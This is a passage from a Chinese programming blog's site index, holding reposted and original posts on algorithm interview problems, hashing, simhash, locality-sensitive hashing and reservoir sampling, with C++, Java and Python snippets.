\u003c\u003c= 1; 234 r |= v \u0026 1; 235 s--; 236} 237r \u003c\u003c= s; 238System.out.println(r); 239代码比较好理解，取到v的最低位，作为r的最高位；v每取一次最低位，则右移一位；r每确定一位，则左移一位。 240同时记录移动了多少位，最终要补齐。 241 242通过查表的方法在遇到位操作的问题时，往往题目中限定了总的位数，比如这个题目，我们可以认为32位。 243这就给我们带来了一个以空间换时间的解决思路：查表法。 244位数是固定的，可以申请空间，存储预先计算好的结果，在计算其他的结果的时候，则查表即可。 24532位相对于查表来讲，还是太大了。既然这样缩小范围，32个bit，也就是4个byte。每个byte 8bit，可以表示0-255的整数。 246可以通过申请256大小的数组，保存这256个整数，二进制逆序之后的整数。然后将一个32位的整数，划分为4个byte， 247每一个byte查表得到逆序的整数：r1,r2,r3,r4。按照r4r3r2r1顺序拼接二进制得到的结果就是最终的答案。 248 249我们这里主要分析这个巧妙的方法，核心思想是：分治法。即： 250 * 逆序32位分解为两个逆序16位的 251 * 逆序16位分解为两个逆序8位的 252 * 逆序8位分解为两个逆序4位的 253 * 逆序4位分解为两个逆序2位的 254 255最后一个2位的逆序，直接交换即可。也就是分治递归的终止条件。但是，在上面的过程中，还没有应用到位操作的技巧 256。根据动态规划的思想，我们可以自底向上的解决这个问题： 257 * 每2位为一组，进行交换，完成2位逆序 258 * 每4位为一组，前面2位与后面2位交换，完成4位逆序 259 * 每8位为一组，前面4位和后面4为交换，完成8位的逆序 260 * 每16位为一组，前面8位和后面8位交换，完成16位的逆序 261 * 2组16位的交换，完成32位的逆序 262 263示例代码如下： 264int v = 111; 265v = ((v \u003e\u003e 1) \u0026 0x55555555) | ((v \u0026 0x55555555) \u003c\u003c 1); 266v = ((v \u003e\u003e 2) \u0026 0x33333333) | ((v \u0026 0x33333333) \u003c\u003c 2); 267v = ((v \u003e\u003e 4) \u0026 0x0F0F0F0F) | ((v \u0026 0x0F0F0F0F) \u003c\u003c 4); 268v = ((v \u003e\u003e 8) \u0026 0x00FF00FF) | ((v \u0026 0x00FF00FF) \u003c\u003c 8); 269v = ( v \u003e\u003e 16 ) | ( v \u003c\u003c 16); 270------------------------------------------------------------------------------------------------------------------ 271Q:输入数组[a1,a2,...,an,b1,b2,...,bn]，构造函数，使得输出为，[a1,b1,a2,b2,...,an,bn]，注意：方法要是in-place的。 272 273A:通过观察输入输出的格式，直接通过将b1进行交换，直至目标的位置，其他元素也如此操作。直到完成变换。如下的过程： 274a1 a2 a3 a4 b1 b2 b3 b4 275确定b1的位置，b1要和前面3个元素依次交换。 276a1b1a2a3a4b2b3b4 277确定b2的位置，b2要和前面的2个元素一次交换，同样为了保证in-place。注意交换次数少了一次。 278a1b1a2b2a3a4b3b4 279依次确定b3和b4的位置，b4是最后的元素，不需进行交换，b3需要交换一次。 280a1b1a2b2a3b3a4b4 281通过上面的分析，则整体的交换次数，3+2+1=6，不失一般性(n-1)+…+1，时间复杂度O(n^2)。 282 283特别的方法同样针对上面的例子： 284第一步：交换最中间的一对元素，得到 285a1a2a3b1a4b2b3b4 286第二步：交换最中间的两对元素，得到 287a1a2b1a3b2a4b3b4 288第三步：交换最中间的三对元素，得到 289a1b1a2b2a3b3a4b4 290完毕，得到结果。 291在上面的交换中，交换的次数分别为1,2,3，推而广之，1,…,n-1，则时间复杂度仍旧是O(n^2)的。 292 293in-place的O(n)方法这个问题，是存在O(n)时间复杂度的in-place算法的。但是，并不是很好理解。 294首先，对2n=3^k - 1的情况下，k是整数。这时候可以通过几个cyclic shift解决。 295每个cycle的起始位置是3^i, i=0,1,...,k-1. cycle里面元素下标的符合这样的模式(3^i×2^j) mod (2n+1) 296举例说明：k=2时，2n=8. 297假设一个数列是[1，2，3，4，5，6，7，8] 298那么这几个cycle是 299i=0, 3^i=1, [1,2,4,8,16,32] mod 9 = [1,2,4,8,7,5] 300i=1， 3^i=3, [3,6] mod 9 = [3,6] 301显然这些cycle都是闭合的，比如对[1,2,4,8,7,5]， 5×2 mod 9 = 1， 对[3,6] 6×2 mod 9 = 3 302 303下面做这两个cyclic shift 304做完第一个后： 305[1，2，3，4，5，6，7，8] -\u003e [5，1，3，2，7，6，8，4] 306做完第二个后： 307[5，1，3，2，7，6，8，4] -\u003e [5，1，6，2，7，3，8，4] 308搞定。 309 310其次对2n！=3^k - 1的情况下，找一个最大的m，m满足2m=3^k - 1并且m 比如假设n=6，那么m=4. 311假设一个素列A=[1，2，3，4，5，6，7，8，9，10，11，12] 312首先A[m+1,...,n+m]做一个距离为m的右循环。 313也就是[5,6,7,8,9,10]做一个距离为m的右循环，变成[7,8,9,10,5,6] 314做完这个循环，[1，2，3，4，5，6，7，8，9，10，11，12]-\u003e[1，2，3，4，7，8，9，10，5, 6, 11，12] 315然后对前2m项，做1的操作，[1，2，3，4，7，8，9，10，5, 6, 11，12]-\u003e[7，1，8，2，9，3，10，4，5, 6, 11，12] 316然后对于下的2*(n-m)项[5，6，11，12]递归操作。 317 318def getIndex(curIdx, N): 319 return (curIdx%2)*N + (curIdx/2) 320 321def convertArray(arr): 322 N = len(arr)/2 323 for curIdx in range(len(arr)): 324 swapIdx = getIndex(curIdx, N) 325 while swapIdx \u003c curIdx: 326 swapIdx = getIndex(swapIdx, N) 327 arr[curIdx], arr[swapIdx] = arr[swapIdx], arr[curIdx] 328 329 330def convertArray_extraspace(arr): 331 N = len(arr)/2 332 return [arr[getIndex(i, N)] for i in range(len(arr))] 333 334def main(): 335 336if __main__ == 'main' 337 main() Q: n只蚂蚁以每秒1cm的速度在长为Lcm的竿子上爬行。蚂蚁爬到终点会掉下来。两只蚂蚁相遇时，只能调头爬回去。 对于每一只蚂蚁i，给定其距离竿子左端的距离x[i]，但是我们不知道蚂蚁的初始朝向。计算，所有蚂蚁掉落需要的最短时间和最长时间。","tags":["算法竞赛"],"title":"阿里面试算法题（转载）","type":"post"},{"categories":["其他"],"content":"转自：http://blog.csdn.net/v_july_v/article/details/6279498 第一部分、十道海量数据处理面试题 1、海量日志数据，提取出某日访问百度次数最多的那个IP。 首先是这一天，并且是访问百度的日志中的IP取出来，逐个写入到一个大文件中。注意到IP是32位的，最多有个2^32个IP。同样可以采用映射的方法，比如模1000，把整个大文件映射为1000个小文件，再找出每个小文中出现频率最大的IP（可以采用hash_map进行频率统计，然后再找出频率最大的几个）及相应的频率。然后再在这1000个最大的IP中，找出那个频率最大的IP，即为所求。 或者如下阐述（雪域之鹰）： 算法思想：分而治之+Hash 1.IP地址最多有2^32=4G种取值情况，所以不能完全加载到内存中处理； 2.可以考虑采用“分而治之”的思想，按照IP地址的Hash(IP)24值，把海量IP日志分别存储到1024个小文件中。这样，每个小文件最多包含4MB个IP地址； 3.对于每一个小文件，可以构建一个IP为key，出现次数为value的Hash map，同时记录当前出现次数最多的那个IP地址； 4.可以得到1024个小文件中的出现次数最多的IP，再依据常规的排序算法得到总体上出现次数最多的IP； **2、搜索引擎会通过日志文件把用户每次检索使用的所有检索串都记录下来，每个查询串的长度为1-255字节。 ** 假设目前有一千万个记录（这些查询串的重复度比较高，虽然总数是1千万，但如果除去重复后，不超过3百万个。一个查询串的重复度越高，说明查询它的用户越多，也就是越热门。），请你统计最热门的10个查询串，要求使用的内存不能超过1G。 典型的Top K算法，还是在这篇文章里头有所阐述，详情请参见：十一、从头到尾彻底解析Hash表算法。 文中，给出的最终算法是： 第一步、先对这批海量数据预处理，在O（N）的时间内用Hash表完成统计（之前写成了排序，特此订正。July、2011.04.27）； 第二步、借助堆这个数据结构，找出Top K，时间复杂度为N‘logK。 即，借助堆结构，我们可以在log量级的时间内查找和调整/移动。因此，维护一个K(该题目中是10)大小的小根堆，然后遍历300万的Query，分别和根元素进行对比所以，我们最终的时间复杂度是：O（N） + N’*O（logK），（N为1000万，N’为300万）。ok，更多，详情，请参考原文。 或者：采用trie树，关键字域存该查询串出现的次数，没有出现为0。最后用10个元素的最小推来对出现频率进行排序。 3、有一个1G大小的一个文件，里面每一行是一个词，词的大小不超过16字节，内存限制大小是1M。返回频数最高的100个词。 方案：顺序读文件中，对于每个词x，取hash(x)00，然后按照该值存到5000个小文件（记为x0,x1,…x4999）中。这样每个文件大概是200k左右。 如果其中的有的文件超过了1M大小，还可以按照类似的方法继续往下分，直到分解得到的小文件的大小都不超过1M。 对每个小文件，统计每个文件中出现的词以及相应的频率（可以采用trie树/hash_map等），并取出出现频率最大的100个词（可以用含100个结点的最小堆），并把100个词及相应的频率存入文件，这样又得到了5000个文件。下一步就是把这5000个文件进行归并（类似与归并排序）的过程了。 4、有10个文件，每个文件1G，每个文件的每一行存放的都是用户的query，每个文件的query都可能重复。要求你按照query的频度排序。 还是典型的TOP K算法，解决方案如下： 方案1： 顺序读取10个文件，按照hash(query)的结果将query写入到另外10个文件（记为）中。这样新生成的文件每个的大小大约也1G（假设hash函数是随机的）。 找一台内存在2G左右的机器，依次对用hash_map(query, query_count)来统计每个query出现的次数。利用快速/堆/归并排序按照出现次数进行排序。将排序好的query和对应的query_cout输出到文件中。这样得到了10个排好序的文件（记为）。 对这10个文件进行归并排序（内排序与外排序相结合）。 方案2： 一般query的总量是有限的，只是","date":"2017-03-14","externalUrl":null,"permalink":"/2017/03/top-k-problems/","section":"Posts","summary":"转自：http://blog.csdn.net/v_july_v/article/details/6279498","tags":["算法竞赛"],"title":"大数据top K 问题总结（转载）","type":"post"},{"categories":["面试"],"content":"题意：定义栈的数据结构，请在该类型中实现一个能够得到栈最小元素的min函数，要求时间复杂度为O(1) 思路：标题党去死一死好么。。。真是无趣。。。就是用两个栈封装成一个。。。一个栈s1正常搞。。。一个是辅助栈s2。。每次去存min(value,s2.top()); 。。。我还以为什么黑科技。。。 1class Solution { 2public: 3 stack\u003cint\u003es1,s2; 4 void push(int value) { 5 s1.push(value); 6 if (s2.empty()||value\u003cs2.top()) s2.push(value); 7 else s2.push(s2.top()); 8 9 } 10 void pop() { 11 s1.pop(); 12 s2.pop(); 13 14 15 } 16 int top() { 17 return s1.top(); 18 19 } 20 int min() { 21 return s2.top(); 22 23 } 24};","date":"2017-03-12","externalUrl":null,"permalink":"/2017/03/o1/","section":"Posts","summary":"题意：定义栈的数据结构，请在该类型中实现一个能够得到栈最小元素的min函数，要求时间复杂度为O(1)","tags":["算法竞赛"],"title":"O(1)得到最小值的栈","type":"post"},{"categories":["面试"],"content":"题意：把一个数组最开始的若干个元素搬到数组的末尾，我们称之为数组的旋转。 输入一个非递减排序的数组的一个旋转，输出旋转数组的最小元素。 例如数组{3,4,5,1,2}为{1,2,3,4,5}的一个旋转，该数组的最小值为1。 思路：二分。。。注意有重复元素。。。 1class Solution { 2public: 3 int minNumberInRotateArray(vector\u003cint\u003e a) { 4 int siz = a.size(); 5 int l = 0 ; 6 int r = siz-1; 7 while (r-l\u003e1) 8 { 9 int mid = (l+r)\u003e\u003e1; 10 if (a[mid]\u003ea[r]) l = mid; 11 else r = mid; 12 13 } 14 return min(a[l],a[r]); 15 16 } 17};","date":"2017-03-12","externalUrl":null,"permalink":"/2017/03/%e6%97%8b%e8%bd%ac%e6%95%b0%e7%bb%84%ef%bc%88%e4%ba%8c%e5%88%86%ef%bc%89/","section":"Posts","summary":"题意：把一个数组最开始的若干个元素搬到数组的末尾，我们称之为数组的旋转。 输入一个非递减排序的数组的一个旋转，输出旋转数组的最小元素。 例如数组{3,4,5,1,2}为{1,2,3,4,5}的一个旋转，该数组的最小值为1。","tags":["binary search"],"title":"求旋转数组最小值（二分）","type":"post"},{"categories":["随笔杂谈"],"content":"虽然说感觉这届学弟蛮厉害…不知道能不能拿到校内资格。。。 以及没有太多时间训练… 不过只要假期实习的地方。。。加班不是很多的话。。。 大概。。。晚上+周末。。。还是可以补补多校的。。。？ 其实有的时候。。。只是自以为自己不在意了。。。 到真正重要的时候。。。便会毫不犹豫得去再干一年吧。。。 只求顺利拿个银牌。。。 去年沈阳真的太可惜了。。。。。。。太气了。。。。 但愿一切顺利。。。让我拿个银牌吧orz","date":"2017-03-11","externalUrl":null,"permalink":"/2017/03/I-love-icpc-forever/","section":"Posts","summary":"虽然说感觉这届学弟蛮厉害…不知道能不能拿到校内资格。。。","tags":["算法竞赛"],"title":"预言向：大概还是要再打一年的","type":"post"},{"categories":["面试"],"content":"思路： 一个元素入队的时候直接插入到stack1中。。。 一个元素出队的时候。。。如果stack2不为空。。stack2顶的元素就是要出队的。。 如果stakc2为空。。。就将stack1清空，按照元素出栈的顺序依次入栈到stack2 1class Solution 2{ 3public: 4 void push(int node) { 5 stack1.push(node); 6 7 } 8 9 int pop() { 10 if (stack2.size()!=0) 11 { 12 int ret = stack2.top(); 13 stack2.pop(); 14 return ret; 15 } 16 while (!stack1.empty()) 17 { 18 int val = stack1.top(); 19 stack1.pop(); 20 stack2.push(val); 21 } 22 if (stack2.size()!=0) 23 { 24 int ret = stack2.top(); 25 stack2.pop(); 26 return ret; 27 } 28 return -1; 29 30 } 31 32private: 33 stack\u003cint\u003e stack1; 34 stack\u003cint\u003e stack2; 35};","date":"2017-03-11","externalUrl":null,"permalink":"/2017/03/%e7%94%a8%e4%b8%a4%e4%b8%aa%e6%a0%88%e5%ae%9e%e7%8e%b0%e9%98%9f%e5%88%97/","section":"Posts","summary":"思路： 一个元素入队的时候直接插入到stack1中。。。 一个元素出队的时候。。。如果stack2不为空。。stack2顶的元素就是要出队的。。","tags":["算法竞赛"],"title":"用两个栈实现队列","type":"post"},{"categories":["面试"],"content":"思路： 分治搞之。 实际上两个vector就够了。。。4个会MLE(在leetcode上。。。 1/** 2 * Definition for binary tree 3 * struct TreeNode { 4 * int val; 5 * TreeNode *left; 6 * TreeNode *right; 7 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 8 * }; 9 */ 10class Solution { 11public: 12 TreeNode* res; 13 TreeNode* reConstructBinaryTree(vector\u003cint\u003e pre,vector\u003cint\u003e vin) { 14 int siz = pre.size(); 15 if (siz==0) return NULL; 16 int rt = pre[0]; 17 int pos=-1; 18 for ( int i = 0 ; i \u003c siz; i++) 19 if (vin[i]==rt) 20 { 21 pos = i; 22 break; 23 } 24 vector\u003cint\u003epreL,preR,vinL,vinR; 25 for ( int i = 0 ; i \u003c pos ; i++) 26 { 27 preL.push_back(pre[i+1]); 28 vinL.push_back(vin[i]); 29 } 30 for ( int i = pos + 1 ; i \u003c siz ; i++) 31 { 32 preR.push_back(pre[i]); 33 vinR.push_back(vin[i]); 34 } 35 TreeNode *head = new TreeNode(rt); 36 head-\u003eleft = reConstructBinaryTree(preL,vinL); 37 head-\u003eright = reConstructBinaryTree(preR,vinR); 38 return head; 39 40 41 } 42}; 43 44 45 46 47/* *********************************************** 48Author :111qqz 49Created Time :2017年04月05日 星期三 16时21分35秒 50File Name :105.cpp 51************************************************ */ 52/** 53 54 * Definition for a binary tree node. 55 56 * struct TreeNode { 57 58 * int val; 59 60 * TreeNode *left; 61 62 * TreeNode *right; 63 64 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 65 66 * }; 67 68 */ 69 70class Solution { 71 72public: 73 74 TreeNode* buildTree(vector\u003cint\u003e\u0026 preorder, vector\u003cint\u003e\u0026 inorder) { 75 76 int siz = preorder.size(); 77 if (siz==0) return NULL; 78 int rt = preorder[0]; 79 int pos; 80 for ( int i = 0 ; i \u003c siz ; i++) 81 { 82 if (inorder[i]==rt) 83 { 84 pos = i; 85 break; 86 } 87 } 88 vector\u003cint\u003epreL,inL; 89 TreeNode *head = new TreeNode(rt); 90 for ( int i = 0 ; i \u003c pos ; i++) 91 { 92 preL.push_back(preorder[i+1]); 9","date":"2017-03-11","externalUrl":null,"permalink":"/2017/03/%e6%a0%b9%e6%8d%ae%e5%89%8d%e5%ba%8f%e9%81%8d%e5%8e%86%e5%92%8c%e4%b8%ad%e5%ba%8f%e9%81%8d%e5%8e%86%e9%87%8d%e6%9e%84%e4%ba%8c%e5%8f%89%e6%a0%91/","section":"Posts","summary":"思路： 分治搞之。 实际上两个vector就够了。。。4个会MLE(在leetcode上。。。","tags":["算法竞赛"],"title":"leetcode 105 根据前序遍历和中序遍历重构二叉树","type":"post"},{"categories":["ACM"],"content":"前言： # hash这种东西人人都会用的东西还有必要说？ 起因是…本问了hash中的一个细节…然后…我知道怎么做… 结果描述的不够清楚？如果知道那个做法的名字也许就不用费劲描述了呢。。。所以来复习一下吧2333 hash函数_维基百科 说起来其实哈希只有两个东西比较重要吧。。。 一个是哈希函数的构造： 构造散列函数 # 散列函数能使对一个数据序列的访问过程更加迅速有效，通过散列函数，数据元素将被更快定位。 直接定址法：取关键字或关键字的某个线性函数值为散列地址。即{\\displaystyle hash(k)=k} 或{ ，其中 为常数（这种散列函数叫做自身函数） 数字分析法：假设关键字是以_r_为基的数，并且哈希表中可能出现的关键字都是事先知道的，则可取关键字的若干数位组成哈希地址。 平方取中法：取关键字平方后的中间几位为哈希地址。通常在选定哈希函数时不一定能知道关键字的全部情况，取其中的哪几位也不一定合适，而一个数平方后的中间几位数和数的每一位都相关，由此使随机分布的关键字得到的哈希地址也是随机的。取的位数由表长决定。 折叠法：将关键字分割成位数相同的几部分（最后一部分的位数可以不同），然后取这几部分的叠加和（舍去进位）作为哈希地址。 随机数法 除留余数法：取关键字被某个不大于散列表表长m的数p除后所得的余数为散列地址。即{\\displaystyle hash(k)=k,{\\bmod {,}}p} , {\\displaystyle p\\leq m} 。不仅可以对关键字直接取模，也可在折叠法、平方取中法等运算之后取模。对p的选择很重要，一般取素数或m，若p选择不好，容易产生冲突。 还有一个就是冲突的处理。。。? 为了知道冲突产生的相同散列函数地址所对应的关键字，必须选用另外的散列函数，或者对冲突结果进行处理。而不发生冲突的可能性是非常之小的，所以通常对冲突进行处理。常用方法有以下几种： 开放定址法（open addressing）：{\\displaystyle hash_{i}=(hash(key)+d_{i}),{\\bmod {,}}m} , {\\displaystyle i=1,2…k,(k\\leq m-1)} ，其中{\\displaystyle hash(key)} 为散列函数，{\\displaystyle m} 为散列表长，{\\displaystyle d_{i}} 为增量序列，{\\displaystyle i} 为已发生冲突的次数。增量序列可有下列取法： {\\displaystyle d_{i}=1,2,3…(m-1)} 称为 线性探测(Linear Probing)；即{\\displaystyle d_{i}=i} ，或者为其他线性函数。相当于逐个探测存放地址的表，直到查找到一个空单元，把散列地址存放在该空单元。 {\\displaystyle d_{i}=\\pm 1^{2},\\pm 2^{2},\\pm 3^{2}…\\pm k^{2}} {\\displaystyle (k\\leq m/2)} 称为 平方探测(Quadratic Probing)。相对线性探测，相当于发生冲突时探测间隔{\\displaystyle d_{i}=i^{2}} 个单元的位置是否为空，如果为空，将地址存放进去。 {\\displaystyle d_{i}=} 伪随机数序列，称为 伪随机探测。 看起来蛮厉害。。其实我们熟悉的线性探测（当前位置冲突了顺序找下一个）和平方探测都是开放地址的一种。。。 但是这东西。。。不管怎么设计。。都存在爆炸的可能。。。术语叫【聚集】 聚集（Cluster，也翻译做“堆积”）的意思是，在函数地址的表中，散列函数的结果不均匀地占据表的单元，形成区块，造成线性探测产生一次聚集（primary clustering）和平方探测的二次聚集（secondary clustering），散列到区块中的任何关键字需要查找多次试选单元才能插入表中，解决冲突，造成时间浪费。对于开放定址法，聚集会造成性能的灾难性损失，是必须避免的。 于是有一下解决聚集的方法： 单独链表法：将散列到同一个存储位置的所有元素保存在一个链表中。实现时，一种策略是散列表同一位置的所有冲突结果都是用栈存放的，新元素被插入到表的前端还是后端完全取决于怎样方便。 双散列。 ","date":"2017-03-11","externalUrl":null,"permalink":"/2017/03/hash/","section":"Posts","summary":"前言： # hash这种东西人人都会用的东西还有必要说？","tags":["hash"],"title":"hash学习笔记","type":"post"},{"categories":["其他"],"content":"前言： # 其实有了前文simhash算法的基础，局部敏感hash算法已经不存在理解上的问题了吧。。。毕竟simhash算法应该是局部敏感哈希算法的一种。。所以我就直接转载几篇我认为比较好的文档结合一下好了。。。会把比较重要的概念或者定义标记重点。 局部敏感哈希(Locality Sensitive Hashing，LSH)算法是我在前一段时间找工作时接触到的一种衡量文本相似度的算法。局部敏感哈希是近似最近邻搜索算法中最流行的一种，它有坚实的理论依据并且在高维数据空间中表现优异。它的主要作用就是从海量的数据中挖掘出相似的数据，可以具体应用到文本相似度检测、网页搜索等领域。 1. 基本思想 # 局部敏感哈希的基本思想类似于一种空间域转换思想，LSH算法基于一个假设，如果两个文本在原有的数据空间是相似的，那么分别经过哈希函数转换以后的****它们也具有很高的相似度；相反，如果它们本身是不相似的，那么经过转换后它们应仍不具有相似性。 哈希函数，大家一定都很熟悉，那么什么样的哈希函数可以具有上述的功能呢，可以保持数据转化前后的相似性？当然，答案就是局部敏感哈希。 回到顶部 2. 局部敏感哈希LSH # 局部敏感哈希的最大特点就在于保持数据的相似性，我们通过一个反例来具体介绍一下。 假设一个哈希函数为Hash(x) = x%8，那么我们现在有三个数据分别为255、257和1023，我们知道255和257本身在数值上具有很小的差距，也就是说它们在三者中比较相似。我们将上述的三个数据通过Hash函数转换： Hash(255) = 255%8 = 7; Hash(257) = 257%8 = 1; Hash(1023) = 1023%8 = 7; 我们通过上述的转换结果可以看出，本身很相似的255和257在转换以后变得差距很大，而在数值上差很多的255和1023却对应相同的转换结果。从这个例子我们可以看出，上述的Hash函数从数值相似度角度来看，它不是一个局部敏感哈希，因为经过它转换后的数据的相似性丧失了。 我们说局部敏感哈希要求能够保持数据的相似性，那么很多人怀疑这样的哈希函数是否真的存在。我们这样去思考这样一个极端的条件，假设一个局部敏感哈希函数具有10个不同的输出值，而现在我们具有11个完全没有相似度的数据，那么它们经过这个哈希函数必然至少存在两个不相似的数据变为了相似数据。从这个假设中，我们应该意识到局部敏感哈希是相对的，而且我们所说的保持数据的相似度不是说保持100%的相似度，而是保持最大可能的相似度。 对于局部敏感哈希“保持最大可能的相似度”的这一点，我们也可以从数据降维的角度去考虑。数据对应的维度越高，信息量也就越大，相反，如果数据进行了降维，那么毫无疑问数据所反映的信息必然会有损失。哈希函数从本质上来看就是一直在扮演数据降维的角色。 回到顶部 3. 文档相似度计算 # 我们通过利用LSH来实现文档的相似度计算这个实例来介绍一下LSH的具体用法。 3.1 Shingling # 假设现在有4个网页，我们将它们分别进行Shingling（将待查询的字符串集进行映射，映射到一个集合里，如字符串“abcdeeee\", 映射到集合”(a,b,c,d,e)\", 注意集合中元素是无重复的，这一步骤就叫做Shingling, 意即构建文档中的短字符串集合，即shingle集合。），得到如下的特征矩阵： 其中“1”代表对应位置的Shingles在文档中出现过，“0”则代表没有出现过。 在衡量文档的相似度中，我们有很多的方法去完成，比如利用欧式距离、编辑距离、余弦距离、Jaccard距离等来进行相似度的度量。在这里我们运用Jaccard相似度。接下来我们就要去找一种哈希函数，使得在hash后尽量还能保持这些文档之间的Jaccard相似度，即： 我们的目标就是找到这样一种哈希函数，如果原来文档的Jaccard相似度高，那么它们的hash值相同的概率高，如果原来文档的Jaccard相似度低，那么它们的hash值不相同的概率高，我们称之为Min-hashing(最小哈希)。 3.2 Min-hashing # Min-hashing定义为：特征矩阵按行进行一个随机的排列后，第一个列值为1的行的行号。举例说明如下，假设之前的特征矩阵按行进行的一个随机排列如下： ","date":"2017-03-11","externalUrl":null,"permalink":"/2017/03/locality-sensitive-hashing/","section":"Posts","summary":"前言： # 其实有了前文simhash算法的基础，局部敏感hash算法已经不存在理解上的问题了吧。。。毕竟simhash算法应该是局部敏感哈希算法的一种。。所以我就直接转载几篇我认为比较好的文档结合一下好了。。。会把比较重要的概念或者定义标记重点。","tags":["局部敏感hash"],"title":"局部敏感哈希算法(Locality Sensitive Hashing)初探","type":"post"},{"categories":["deep-learning"],"content":"先放原始论文。。。以此表达对这个算法的敬意orz 论文链接 问题引出： # 那天百度一面，frog学姐问了我如何判断两篇新闻稿的相似度的问题….我满篇口胡…也只是回答了一些诸如从图片上考虑。。或者去掉stop word之后得到特征向量然后计算余弦值之类得到传统想法。。。 今天看到了google在用的网页去重的算法（？。。。感觉好神奇。。。准备面试到现在，第一个让我感到惊异而不是套路的算法orz 对于处理**大规模文本（500字以上吧）**的时候效果很好。。。但是算法思想却又非常简单。 这才是算法的美丽之处吧。。。。leetcode上的那些纱布技巧也好意思叫算法。。。？ 网页去重，其实本质还是网页相似度的计算….首先是两篇，之后还可以推广到海量数据。 算法初探： # simhash算法。。。字面上也可以看出。。是一种hash算法。。。那么它和一般的hash有什么不同呢？ 最大的问题在于。。。传统hash的设计目的之一是使得映射后的值的分布尽可能均匀…对于同样的key会有同样的value,但是每当key有轻微的变化的时候，value就会千差万别。 举个例子： “你妈妈喊你回家吃饭哦，回家罗回家罗” 和 “你妈妈叫你回家吃饭啦，回家罗回家罗”。 通过simhash计算结果为： 1000010010101101111111100000101011010001001111100001001011001011 1000010010101101011111100000101011010001001111100001101010001011 通过 hashcode计算为： 1111111111111111111111111111111110001000001100110100111011011110 1010010001111111110010110011101 也就是说。。。没办法通过hash之后得到的值的差异，去分析key的相似程度。 而simhash就是通过某种方法进行hash，使得hash之后得到的value可以反应key的相似度。 流程 # simhash算法分为5个步骤：分词、hash、加权、合并、降维，具体过程如下所述： 分词 给定一段语句，进行分词，得到有效的特征向量，然后为每一个特征向量设置1-5等5个级别的权重（如果是给定一个文本，那么特征向量可以是文本中的词，其权重可以是这个词出现的次数）。例如给定一段语句：“CSDN博客结构之法算法之道的作者July”，分词后为：“CSDN 博客 结构 之 法 算法 之 道 的 作者 July”，然后为每个特征向量赋予权值：CSDN(4) 博客(5) 结构(3) 之(1) 法(2) 算法(3) 之(1) 道(2) 的(1) 作者(5) July(5)，其中括号里的数字代表这个单词在整条语句中的重要程度，数字越大代表越重要。 hash 通过hash函数计算各个特征向量的hash值，hash值为二进制数01组成的n-bit签名。比如“CSDN”的hash值Hash(CSDN)为100101，“博客”的hash值Hash(博客)为“101011”。就这样，字符串就变成了一系列数字。 加权 在hash值的基础上，给所有特征向量进行加权，即W = Hash * weight，且遇到1则hash值和权值正相乘，遇到0则hash值和权值负相乘。例如给“CSDN”的hash值“100101”加权得到：W(CSDN) = 100101 _4 = 4 -4 -4 4 -4 4，给“博客”的hash值“101011”加权得到：W(博客)=101011 _5 = 5 -5 5 -5 5 5，其余特征向量类似此般操作。 合并 将上述各个特征向量的加权结果累加，变成只有一个序列串。拿前两个特征向量举例，例如“CSDN”的“4 -4 -4 4 -4 4”和“博客”的“5 -5 5 -5 5 5”进行累加，得到“4+5 -4+-5 -4+5 4+-5 -4+5 4+5”，得到“9 -9 1 -1 1”。 降维 对于n-bit签名的累加结果，如果大于0则置1，否则置0，从而得到该语句的simhash值，最后我们便可以根据不同语句simhash的海明距离来判断它们的相似度。例如把上面计算出来的“9 -9 1 -1 1 9”降维（","date":"2017-03-10","externalUrl":null,"permalink":"/2017/03/simhash/","section":"Posts","summary":"先放原始论文。。。以此表达对这个算法的敬意orz 论文链接 问题引出： # 那天百度一面，frog学姐问了我如何判断两篇新闻稿的相似度的问题….我满篇口胡…也只是回答了一些诸如从图片上考虑。。或者去掉stop word之后得到特征向量然后计算余弦值之类得到传统想法。。。","tags":["simhash","协同过滤","局部敏感hash","推荐系统"],"title":"文本相似度判断-simhash算法学习笔记","type":"post"},{"categories":["其他"],"content":"面京东被这个问题卡了QAQ，来补补这方面的课。 转自：链接 蓄水池抽样算法随机算法的一种，用来从 N 个样本中随机选择 K 个样本，其中 N 非常大（以至于 N 个样本不能同时放入内存）或者 N 是一个未知数。其时间复杂度为 O(N),包含下列步骤 (假设有一维数组 S, 长度未知，需要从中随机选择 k 个元素, 数组下标从 1 开始), 伪代码如下: 1array R[k]; // result 2integer i, j; 3 4// fill the reservoir array 5for each i in 1 to k do 6 R[i] := S[i] 7done; 8 9// replace elements with gradually decreasing probability 10for each i in k+1 to length(S) do 11 j := random(1, i); // important: inclusive range 12 if j \u003c= k then 13 R[j] := S[i] 14 fi 15done 算法首先创建一个长度为 k 的数组（蓄水池）用来存放结果，初始化为 S 的前 k 个元素。然后从 k+1 个元素开始迭代直到数组结束，在 S 的第 i 个元素，算法生成一个随机数 j∈[1,i]j∈[1,i]， 如果 j \u003c= k， 那么蓄水池的第 j 个元素被替换为 S 的第 i 个元素。 算法的正确性证明 # 定理：该算法保证每个元素以 k / n 的概率被选入蓄水池数组。 证明：首先，对于任意的 i，第 i 个元素进入蓄水池的概率为 k / i；而在蓄水池内每个元素被替换的概率为 1 / k; 因此在第 i 轮第j个元素被替换的概率为 (k / i ) * (1 / k) = 1 / i。 接下来用数学归纳法来证明，当循环结束时每个元素进入蓄水池的概率为 k / n. 假设在 (i-1) 次迭代后，任意一个元素进入 蓄水池的概率为 k / (i-1)。有上面的结论，在第 i 次迭代时，该元素被替换的概率为 1 / i， 那么其不被替换的概率则为 1 - 1/i = (i-1)/i；在第i 此迭代后，该元素在蓄水池内的概率为 k / (i-1) * (i-1)/i = k / i. 归纳部分结束。 因此当循环结束时，每个元素进入蓄水池的概率为 k / n. 命题得证。 算法的C++实现 # 实现部分比较简单，关键点也有详细的注释，为了验证算法的正确性，对[1,10]的数组，随机选择前五个进行验证，运行10000次后，每个数字出现的频率应该是基本相等的，算法的运行结果也证实了这一点，如下图所示。 1#include \u003ciostream\u003e 2#include \u003cstring\u003e 3#include \u003cvector\u003e 4#include \u003ccassert\u003e 5#include \u003ccstdio\u003e 6#include \u003ccstdlib\u003e 7#include \u003cctime\u003e 8using namespace std; 9 10/** 11 * Reservoir Sampling Algorithm 12 * 13 * Description: Randomly choose k elements from n elements ( n usually is large 14 * enough so that the full n elements may not fill into main memory) 15 * Parameters: 16 * v - the original array with n elements 17 * n - the length of v 18 * k - the number of choosen elements 19 * 20 * Returns: 21 * An array with k elements choosen from v 22 * 23 * Assert: 24 * k \u003c= n 25 * 26 * Author: python27 27 * Date: 2015/07/14 28 */ 29vector\u003cint\u003e 